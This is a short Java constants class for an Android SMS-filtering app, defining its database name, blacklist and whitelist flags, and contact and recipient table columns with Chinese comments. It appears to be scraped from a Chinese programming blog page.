public class DataConstant {

/* 数据库名 */

public static final String DB_NAME = "smsfilter.db";

/* 数据库版本 */

public static final int VERSOR = 1;

/* 黑名单标识 */

public static final int BLACK = 1;

/* 白名单标识 */

public static final int WHITE = 0;

 

/* 联系人结构体 */

public static final class Contact implements BaseColumns {

/* 表名 */

public static final String CONTACT_TABLE_NAME = "contact";

/* 联系人电话 */

public static final String CONTACT_NUM = "num";

/* 联系人是否为黑名单 */

public static final String CONTACT_BLACK = "isBlack";

}

 

/* 发送信息结构体 */

public static final class SendTo implements BaseColumns {

/* 表名 */

public static final String SENDTO_TABLE_NAME = "sendto";

/* 收信人电话 */

public static final String SENDTO_NUM = "num";

}

}

-------------------------结果-----------------------

17 结果

 

 

 

 

 

<!--EndFragment-->

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值